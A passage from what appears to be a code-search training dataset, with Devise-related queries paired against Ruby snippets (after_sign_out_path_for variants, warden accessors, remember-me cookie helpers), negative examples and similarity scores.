"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/'\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/'\n end",
"def after_sign_out_path_for(resource_or_scope)\n sign_in_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n sign_in_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n login_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(_resource)\n root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n \tlogin_path\n \tend",
"def after_sign_out_path_for(resource_or_scope)\n # caught by apache to trigger pubcookie logout\n '/logout'\n end",
"def after_sign_out_path_for(resource_or_scope)\n \tlogin_path\n end",
"def after_sign_out_path_for(resource)\n\t\tnew_user_session_path\n\tend",
"def sign_out\n\n # mark them as signed out.\n # (this is a helper method of devise, the rails ruby gem we're using for\n # authentication in the sample app.)\n # \n # \n #session_sign_out <---- NEED TO CHANGE TO CUSTOM USER SIGN OUT\n\n # send them back to the homepage.\n redirect_to root_path\n\n end",
"def after_sign_out_path_for(resource)\n root_path\n end",
"def after_sign_out_path_for(resource)\n root_path\n end",
"def after_sign_out_path_for(resource)\n root_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n home_path\n end",
"def after_sign_out_path_for(users)\n new_user_session_path\n end",
"def signout\n self.current_user = nil\n\n redirect_to root_path\n end",
"def signed_out_user\n redirect_to root_path unless !user_signed_in?\n end",
"def after_sign_out_path_for(resource_or_scope)\n login_url(:protocol => 'http')\n end",
"def after_sign_out_path_for(_resource)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n \tuser_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n Faraday.get(logout_path) if logout_path.present?\n super(resource_or_scope)\n end",
"def after_sign_out_path_for(resource_or_scope)\r\n '/'\r\n end",
"def after_sign_out_path_for(resource_or_scope)\n home_path = \"/login\"\n end",
"def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n cookies.delete :pa_auth_token\n \n \"#{Civiccommons::PeopleAggregator.URL}/logout.php?redirect=http://#{request.host}#{request.port == \"80\" ? nil : \":#{request.port}\"}\"\n end",
"def after_sign_out_path_for(resource)\n '/users/auth/google_oauth2'\n end",
"def after_sign_out_path_for(resource)\n home_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n thank_you_path\n end"
] | [
"0.80424315",
"0.79839855",
"0.79773813",
"0.79722524",
"0.7916559",
"0.7881666",
"0.78052366",
"0.78041863",
"0.78029364",
"0.7778255",
"0.7749978",
"0.77436846",
"0.7742959",
"0.77200735",
"0.7692152",
"0.76650035",
"0.76650035",
"0.76650035",
"0.76650035",
"0.76553583",
"0.7629143",
"0.7629143",
"0.7629143",
"0.7629143",
"0.7629143",
"0.7615557",
"0.76143324",
"0.75907904",
"0.75907904",
"0.7579814",
"0.7578469",
"0.75763375",
"0.7571503",
"0.7561825",
"0.75612503",
"0.75604576",
"0.7559861",
"0.7555645",
"0.7542194",
"0.7539313",
"0.7539313",
"0.7538665",
"0.7538665",
"0.7534296",
"0.75280184",
"0.7525427",
"0.75100774",
"0.75100774",
"0.7501242",
"0.7492353",
"0.74865323",
"0.74853605",
"0.74820226",
"0.74774307",
"0.74725395",
"0.7464194",
"0.7464194",
"0.7464194",
"0.74637455",
"0.74630725",
"0.74606967",
"0.7457027",
"0.7439417",
"0.7437314",
"0.7431116",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427971",
"0.7427717",
"0.742505",
"0.7423482",
"0.740025",
"0.7381731",
"0.7381731",
"0.7379761",
"0.7372209",
"0.73673147",
"0.7366381"
] | 0.7682516 | 15 |
The scope root url to be used when they're signed in. By default, it first tries to find a resource_root_path, otherwise it uses the root_path. source://devise//lib/devise/controllers/helpers.rb169 | def signed_in_root_path(resource_or_scope); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def signed_in_root_path(resource_or_scope)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n home_path = \"#{scope}_root_path\"\n if respond_to?(home_path, true)\n refinery.send(home_path)\n elsif respond_to?(:admin_root_path)\n refinery.admin_root_path\n else\n \"/\"\n end\n end",
"def signed_in_root_path(resource_or_scope)\n \tif current_team_user.avatar.url.present?\n \troot_path\n\telse\n\t\tedit_registration_path(:team_user)\n\tend\n end",
"def after_sign_in_path_for(_resource_or_scope)\n user_root_path\n end",
"def signed_in_root_path(resource_or_scope)\n if session[:return_to]\n return session.delete(:return_to)\n elsif resource_or_scope.is_a?(User) && resource_or_scope.teacher?\n return teacher_dashboard_url\n end\n '/'\n end",
"def after_sign_in_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_in_path_for(_resource)\n root_url\n end",
"def after_sign_in_path_for(resource_or_scope)\n case resource_or_scope.class.name\n when 'Venue'\n venue_root_url(:protocol => 'http')\n when 'Admin'\n admin_root_url(:protocol => 'http')\n else\n super\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n s = stored_location_for(resource_or_scope) # nb returns and deletes\n if s && s[0] == '/' && s != '/'\n s.slice!(0) # remove the leading slash\n if current_user.remembered_group?\n # is there a cleaner way than using root_url?\n root_url(protocol: 'http', subdomain: current_user.remembered_group.short_name) + s\n else\n root_url(protocol: 'http') + s\n end\n else\n if current_user.remembered_group?\n dashboard_url(protocol: 'http', subdomain: current_user.remembered_group.short_name)\n else\n dashboard_url(protocol: 'http')\n end\n end\n end",
"def after_sign_in_path_for(resource)\n if resource.class == 'Group'\n # root_url(:subdomain => current_user.subdomain)\n root_url\n else\n root_url\n end\n end",
"def after_sign_in_path_for(resource)\n :root\n end",
"def after_sign_in_path_for(resource)\n authenticated_root_path\n end",
"def after_sign_in_path_for(_resource)\n root_path\n end",
"def signed_in_root\n path = case session[:user_type]\n when 'admin'\n users_path\n\n when 'provider'\n provider_home_path\n\n when 'patient'\n patient_home_path\n\n else\n root_path\n end\n\n path\n end",
"def after_sign_in_path_for(resource_or_scope)\n resource_or_scope.is_a?(User) ? dashboard_root_path : root_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n company_root_path\n end",
"def after_sign_in_path_for(resource)\n root_path\n end",
"def after_sign_in_path_for(resource)\n root_path\n end",
"def after_sign_in_path_for(resource)\n root_path\n end",
"def after_sign_in_path_for(resource)\n root_path\n end",
"def after_sign_in_path_for(resource)\n\t root_path\n\tend",
"def after_sign_in_path_for(resource_or_scope)\n stored_location_for(resource) || online_root_path\n end",
"def scope_path\n opts = {}\n route = :\"new_#{scope}_session_path\"\n alt_route = :\"new_#{scope}_ichain_session_path\"\n opts[:format] = request_format unless skip_format?\n\n config = Rails.application.config\n opts[:script_name] = (config.relative_url_root if config.respond_to?(:relative_url_root))\n\n context = send(Devise.available_router_name)\n\n if context.respond_to?(route)\n context.send(route, opts)\n elsif context.respond_to?(alt_route)\n context.send(alt_route, opts)\n elsif respond_to?(:root_path)\n root_path(opts)\n else\n \"/\"\n end\n end",
"def after_sign_in_path_for(resource)\n root_path\n end",
"def after_sign_in_path_for(resource)\n user_root_path(resource)\n end",
"def signed_in_root_path(resource)\n if current_user\n if resource.is_a?(User)\n '/user/index'\n elsif resource.is_a?(Professional)\n '/pro/index'\n else\n super\n end\n else\n super\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n home_path = :\"#{scope}_root_path\"\n respond_to?(home_path, true) ? send(home_path) : root_path\n end",
"def signed_in_root_path(_)\n current_tribunal_case ? users_login_save_confirmation_path : users_cases_path\n end",
"def after_sign_out_path_for(resource_or_scope)\r\n Rails.env.development? ? root_path : FrontEndApp::ROOT_URL\r\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url\n end",
"def stored_location_for(resource_or_scope)\n root_url\n end",
"def after_sign_in_path_for(resource)\n root_path(resource)\n end",
"def after_sign_in_path_for(resource_or_scope)\n home_path\n end",
"def user_root_path\n users_root_path\n end",
"def after_sign_in_path_for(resource_or_scope); end",
"def after_sign_in_path_for(resource_or_scope)\n '/user'\n end",
"def after_sign_out_path_for(resource_or_scope)\n main_app.root_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n return '/admin' if current_user.try(:admin?)\n store_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n \t\t\troot_path\n \t\t end",
"def after_sign_in_path_for(resource_or_scope)\n \"/users/#{current_user.id}\"\n end",
"def after_sign_in_path_for(resource_or_scope)\n return \"/admin\"\n end",
"def login_path\n root_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n flash[:notice] = \"\"\n authenticated_root_url\n end",
"def after_sign_in_path_for(resource_or_scope)\n pop_stored_location ||\n sanitized_stored_location_for(resource_or_scope) ||\n signed_in_root_path(resource_or_scope)\n end",
"def after_sign_out_path_for(resource_or_scope)\n\t\troot_path\n\tend",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_in_path_for(resource)\n admin_root_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n '/admin'\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url(subdomain: nil)\n end",
"def after_sign_in_path_for(resource_or_scope)\n user_path(current_user)\n end",
"def after_sign_in_path_for(resource_or_scope)\n user_path(current_user)\n end",
"def after_sign_in_path_for(resource_or_scope)\n user_path(current_user.id)\n end",
"def after_sign_in_path_for(resource_or_scope)\n\t\tif resource_class == Customer\n\t\t\tstored_location_for(:customer) || main_app.root_path\n\t\telse\n\t\t\tstored_location_for(:user) || main_app.admin_root_path\n\t\tend\n\tend",
"def after_successful_sign_in_url\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_in_path_for(_resource)\n auths_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(_resource)\n root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n if params[:return_to].present?\n session[:return_to] = params[:return_to]\n elsif session[:return_to].present?\n session[:return_to]\n else\n root_url\n end\n end",
"def root_path \n @root_path\n end",
"def after_sign_up_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User) # TODO different paths for different folks\n root_path\n else\n super\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n \troot_path\n end",
"def after_sign_in_path_for(_resource)\n cookies[:login_type] = \"local\"\n return root_path unless parameter_set?\n dashboard_works_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_in_path_for(resource)\n stored_location_for(resource) || root_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n\t stored_location_for(resource_or_scope) || super\n\tend",
"def after_sign_out_path_for(resource_or_scope)\n #raise resource_or_scope.inspect\n root_url(:protocol => 'http')\n end",
"def after_sign_in_path_for(resource)\r\n stored_location_for(resource) || root_path\r\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url(:protocol => 'http')\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url(:protocol => 'http')\n end",
"def after_sign_out_path_for(resource_or_scope)\n if request.referer.blank? || request.referer.to_s =~ /admin/\n root_path\n else\n request.referer\n end\n end",
"def after_sign_in_path_for(resource)\n # resource.admin? ? rails_admin.dashboard_path : root_path\n root_path\n end"
] | [
"0.79330564",
"0.78478867",
"0.7836582",
"0.78162897",
"0.7684754",
"0.76183945",
"0.74245006",
"0.74042886",
"0.73664755",
"0.7324574",
"0.73240405",
"0.73028785",
"0.72878706",
"0.72484624",
"0.72393227",
"0.7210555",
"0.7210555",
"0.7210555",
"0.7210555",
"0.7181752",
"0.717569",
"0.71436507",
"0.7107658",
"0.7103404",
"0.70564693",
"0.70517445",
"0.7039764",
"0.7029231",
"0.70157874",
"0.70157874",
"0.700082",
"0.69810873",
"0.69286084",
"0.69252545",
"0.69249487",
"0.69096655",
"0.68970776",
"0.6844876",
"0.6812067",
"0.68116117",
"0.68049985",
"0.6786857",
"0.67578983",
"0.67439735",
"0.67435277",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67428756",
"0.67374533",
"0.67257553",
"0.6719968",
"0.6714159",
"0.6710105",
"0.6710105",
"0.67077893",
"0.66959244",
"0.669481",
"0.6688226",
"0.6686552",
"0.66830134",
"0.6682034",
"0.66815525",
"0.66815525",
"0.66815525",
"0.66810626",
"0.66677904",
"0.66633064",
"0.66597223",
"0.665964",
"0.66462106",
"0.6640388",
"0.6634097",
"0.66204786",
"0.66167337",
"0.6616709",
"0.6616709",
"0.66152275",
"0.6610915"
] | 0.8419402 | 0 |
The main accessor for the warden proxy instance source://devise//lib/devise/controllers/helpers.rb142 | def warden; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def warden\n env['warden']\n end",
"def warden\n env['warden']\n end",
"def warden\n request.env['warden']\n end",
"def warden\n request.env['warden']\n end",
"def warden\n request.env['warden']\n end",
"def warden\n request.env['warden']\n end",
"def current_user\n warden.user\n end",
"def warden\n @warden ||= begin\n env['warden']\n end\n end",
"def current_user\n warden.user\n end",
"def current_user\n warden.user(WARDEN_SCOPE)\n end",
"def devise_controller?; end",
"def warden_options\n env['warden.options']\n end",
"def current_user\n return @current_user ||= warden.authenticate(:scope => :user)\n end",
"def helpers\n @_helper_proxy ||= view_context\n end",
"def authenticate!\n warden.authenticate!\n end",
"def proxy_user; end",
"def authenticates_access\n include InstanceMethods\n end",
"def configure_warden!; end",
"def strategies\n Warden::Strategies\n end",
"def authenticated_user?\n warden.authenticated?\n end",
"def authentication\r\n AuthenticationController.instance\r\n end",
"def current_user(*args)\n warden.user(*args)\n end",
"def current_user(*args)\n warden.user(*args)\n end",
"def cloud_app_security\n return @cloud_app_security\n end",
"def devise_parameter_sanitizer; end",
"def devise_scope(scope); end",
"def intrusion_settings\r\n IntrusionSettingsController.instance\r\n end",
"def devise_mappings; end",
"def controller\n return @controller\n end",
"def auth_store; end",
"def protect()\n res = super(context,self)\n return res\n end",
"def malware_settings\r\n MalwareSettingsController.instance\r\n end",
"def current_user\n #super the main class of devise current_user\n super || guest_user\n end",
"def devise_mapping\n @devise_mapping ||= request.env[\"devise.mapping\"]\n end",
"def protection\n return @protection\n end",
"def devise_modules_hook!; end",
"def wireless_settings\r\n WirelessSettingsController.instance\r\n end",
"def proxy\n return @proxy\n end",
"def current_user\n @current_user\n end",
"def current_user\n @current_user\n end",
"def current_user\n @current_user\n end",
"def current_user\n @current_user\n end",
"def using_authenticated_proxy?; end",
"def user_provider; end",
"def warden_cookies\n warn \"warden_cookies was never functional and is going to be removed in next versions\"\n env['warden.cookies'] ||= {}\n end",
"def controller\n Thread.current[:authlogic_controller]\n end",
"def current_user\n # if a user is logged in we just use devise's implementation.\n super || guest_user\n end",
"def setup_controller_for_warden; end",
"def current_user\n @authenticated_user\n end",
"def current_user\n @authenticated_user\n end",
"def user_key\n send(Devise.authentication_keys.first)\n end",
"def user_key\n send(Devise.authentication_keys.first)\n end",
"def helpers\r\n Helper.instance\r\n end",
"def management_interface_settings\r\n ManagementInterfaceSettingsController.instance\r\n end",
"def proxy_context\n @context\n end",
"def controller\n self\n end",
"def get_site\n controller.send(:current_site)\n end",
"def controller\n self::Controller\n end",
"def current_sign_in_ip; end",
"def current_sign_in_ip; end",
"def context\n { controller: self, current_user: current_user }\n end",
"def current_user(*args)\n warden.user(*args)\n end",
"def authentications\r\n AuthenticationsController.instance\r\n end",
"def secret\n self\n end",
"def authenticated?\n warden.user ? true : false\n end",
"def protected\n return @protected\n end",
"def web_auth\n\t\tauth ::UWeb\n\tend",
"def device\n Decorator.decorate get_raw\n end",
"def current_user\n current_usuario\n end",
"def user_authentication\n end",
"def authenticate_from_warden\n warden = env[\"warden\"]\n return unless warden\n\n env[\"warden\"].authenticate(scope: \"user\")\n end",
"def app_locker_application_control\n return @app_locker_application_control\n end",
"def current_app_support\r\n\r\n end",
"def auth_controller?\n false\n end",
"def protected\n return @protected\n end",
"def current_admin\n @admin\nend",
"def firewall_profile_public\n return @firewall_profile_public\n end",
"def current_user\n # super: don't change anything, i just want the exact same behavior \n # as in the method that we are overriding\n\n # what this line means is that if the user is logged in, super is true,\n # then call super treat everything normal, and ignore right hand side\n # if super == false, call right hand side\n\n # super comes from devise class\n # meanwhile the r.h.s comes from open struct class\n super || guest_user\n end",
"def current_user\n @user\n end",
"def current_wink_user_id\n request.env['auth.wink.user_id']\n end",
"def controller\n self\n end",
"def helper\n @helper ||= ApplicationController.helpers\n end",
"def current_user\n User.current\n end",
"def current_user\n if Rails.env.test?\n # turn off caching for tests\n @current_user = warden.user\n else\n @current_user ||= warden.user\n end\n end",
"def auth_methods; end",
"def current_user\n user.user\n end",
"def authenticatable_name; end",
"def effective_user\r\n self.current_proxy || self.current_user\r\n end",
"def login\n self[:login]\n end",
"def login\n self[:login]\n end",
"def login\n self[:login]\n end",
"def context_methods; end",
"def mx_vpn_firewall\r\n MXVPNFirewallController.instance\r\n end",
"def current_user\n appctrl_set_user()\n return @current_user\n end",
"def helpers\n ApplicationController.helpers\n end",
"def helpers\n ApplicationController.helpers\n end",
"def passworde\n @passworde\n end",
"def fortune_cookie; end"
] | [
"0.7226282",
"0.7226282",
"0.7168792",
"0.7168792",
"0.7168792",
"0.6998974",
"0.6889068",
"0.68617916",
"0.67265624",
"0.6365627",
"0.6335999",
"0.6141931",
"0.61035943",
"0.5918005",
"0.5912567",
"0.5853453",
"0.5841963",
"0.58276165",
"0.5783922",
"0.5775854",
"0.57686996",
"0.5756274",
"0.5756274",
"0.5693384",
"0.56860113",
"0.56828254",
"0.5650133",
"0.5622061",
"0.5618003",
"0.5598016",
"0.5594853",
"0.55827934",
"0.5564894",
"0.55492496",
"0.55408657",
"0.5501733",
"0.55016667",
"0.54997444",
"0.5476723",
"0.5476723",
"0.5476723",
"0.5476723",
"0.5467069",
"0.5455467",
"0.5454283",
"0.54327804",
"0.5414166",
"0.54012525",
"0.539057",
"0.539057",
"0.53813165",
"0.53813165",
"0.5372704",
"0.53706795",
"0.5362071",
"0.53595936",
"0.53519166",
"0.53473115",
"0.53458667",
"0.53458667",
"0.5344703",
"0.5335455",
"0.5314116",
"0.5309986",
"0.53030187",
"0.52992415",
"0.5294087",
"0.52876514",
"0.5285265",
"0.52843684",
"0.5283164",
"0.5278044",
"0.5275546",
"0.52694446",
"0.52680796",
"0.526653",
"0.52657455",
"0.526245",
"0.52593946",
"0.52557003",
"0.5255171",
"0.5251556",
"0.5251124",
"0.52369785",
"0.52340275",
"0.52336466",
"0.52335143",
"0.5226326",
"0.52139133",
"0.52139133",
"0.52139133",
"0.5209874",
"0.52059793",
"0.52054363",
"0.52033466",
"0.52033466",
"0.5200139",
"0.51990485"
] | 0.67073053 | 9 |
Remembers the given resource by setting up a cookie source://devise//lib/devise/controllers/rememberable.rb22 | def remember_me(resource); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def remember!(cookies)\n cookies[:remember_me] = {:value => \"1\",\n :expires => COOKIE_EXPIRATION }\n \n self.authorization_token = unique_identifier\n self.save!\n cookies[:authorization_token] = {:value => self.authorization_token,\n :expires => COOKIE_EXPIRATION }\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\nend",
"def remember(user)\nuser.remember\ncookies.permanent.signed[:user_id] = user.id\ncookies.permanent[:remember_token] = user.remember_token\nend",
"def remember!(cookies)\n cookie_expiration = 10.years.from_now\n cookies[:remember_me] = {:value => \"1\",\n :expires => cookie_expiration}\n self.authorization_token = unique_identifier\n self.save!\n cookies[:authorization_token] = {\n :value => self.authorization_token,\n :expires => cookie_expiration }\n end",
"def remember!(cookies)\n cookie_expiration = 10.years.from_now\n cookies[:remember_me] = { :value => \"1\",\n :expires => cookie_expiration }\n self.authorization_token = unique_identifier\n save!\n cookies[:authorization_token] = { :value => authorization_token,\n :expires => cookie_expiration }\n end",
"def remember!(cookies)\n cookie_expiration = 14.days.from_now\n cookies[:remember_me] = {:value => \"1\",\n :expires => cookie_expiration}\n self.authorization_token = unique_identifier\n save!\n cookies[:authorization_token] = {:value => authorization_token,\n :expires => cookie_expiration}\n end",
"def remember!(cookies)\n\t\tcookie_expiration = 10.years.from_now\n\t\tcookies[:remember_me] = { :value => \"1\",\n\t\t\t\t\t\t\t\t :expires => cookie_expiration}\n\t\tself.authorization_token = secure_unique_identifier \n\t\tsave!\n\t\tcookies[:authorization_token] = {:value => authorization_token,\n\t\t\t\t\t\t\t\t\t\t :expires => cookie_expiration }\n\tend",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember # Defined in the User model\n cookies[:user_id] = { value: user.id,\n expires: 20.years.from_now.utc }\n\n cookies[:remember_token] = { value: user.remember_token,\n expires: 20.years.from_now.utc }\n end",
"def remember(member)\n member.remember\n cookies.permanent.signed[:member_id] = member.id\n cookies.permanent[:remember_token] = member.remember_token\n end",
"def remember(user)\n#goes to remember method in user.rb and returns user.remember_token, and saves hashed one\n user.remember\n# saves users id\n cookies.permanent.signed[:user_id]=user.id\n# saves users cookies token\n cookies.permanent[:remember_token]=user.remember_token\n end",
"def remember(member)\n\t\tmember.remember \n\t\tcookies.permanent.signed[:member_id] = member.id\n\t\tcookies.permanent[:remember_token] = member.remember_token\n\tend",
"def remember_me(resource)\n resource.remember_me = remember_me? if resource.respond_to?(:remember_me=)\n end",
"def remember(user)\n user.remember # Calls model\n cookies.permanent.signed[:user_id] = user.id # Save off encryped user ID\n cookies.permanent[:remember_token] = user.remember_token # Save off random thing for validation\n end",
"def remember(user)\n user.remember # call remember method from User model class\n # places these two cookies on the browser\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user) \n user.remember # the method creates remember_token for that user and saves the hashed the version in the db \n cookies.permanent.signed[:user_id] = user.id # This stores the user.ID(encrypted) in the browser cookie\n cookies.permanent[:remember_token] = user.remember_token # This stores the remember token(encrypted) in the cookie \n # the remember token was created in the first line of code \"user.remember\"\n end",
"def remember (user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember_me(resource)\n resource.remember_me = remember_me? if resource.respond_to?(:remember_me=)\n end",
"def remember_me(resource)\n resource.remember_me = remember_me? if resource.respond_to?(:remember_me=)\n end",
"def remember(user)\n\tuser.remember\n\tcookies.permanent.signed[:user_id] = user.id\n\tcookies.permanent[ :remember_token] = user.remember_token\nend",
"def remember(person)\n person.remember\n cookies.permanent.signed[:person_id] = person.id\n cookies.permanent[:remember_token] = person.remember_token\n end",
"def remember\n self.remember_token = Client.new_remember_token\n update_attribute(:remember_token, Client.digest(remember_token))\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.token\n end",
"def remember(user)\n \tuser.remember\n \tcookies.permanent.signed[:user_id]=user.id\n \tcookies.permanent[:remember_token]=user.remember_token\n end",
"def remember_customer\n if cookies[AppConfig['reference_cookie_name']].nil?\n @affiliate = Affiliate.find_by_slug(params[:slug])\n unless @affiliate.nil?\n @reference = Reference.create(:affiliate_id => @affiliate.id)\n cookies[AppConfig['reference_cookie_name']] = {\n :value => @reference.cookie_token,\n :expires => AppConfig['reference_registration_span'].to_i.days.from_now\n }\n end\n end\n\n redirect_to :action => :pricing\n end",
"def remember(person)\n person.remember\n # Generates a remember_token and saves its hash in the database.\n # Defined in person.rb.\n cookies.permanent.signed[:person_id] = person.id\n cookies.permanent[:remember_token] = person.remember_token\n # Encrypts id and remember_token and saves them as cookies.\n end",
"def set_cookie\n self.current_user.remember\n cookies[:auth_token] = { \n :value => self.current_user.remember_token, \n :expires => self.current_user.remember_token_expires_at }\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
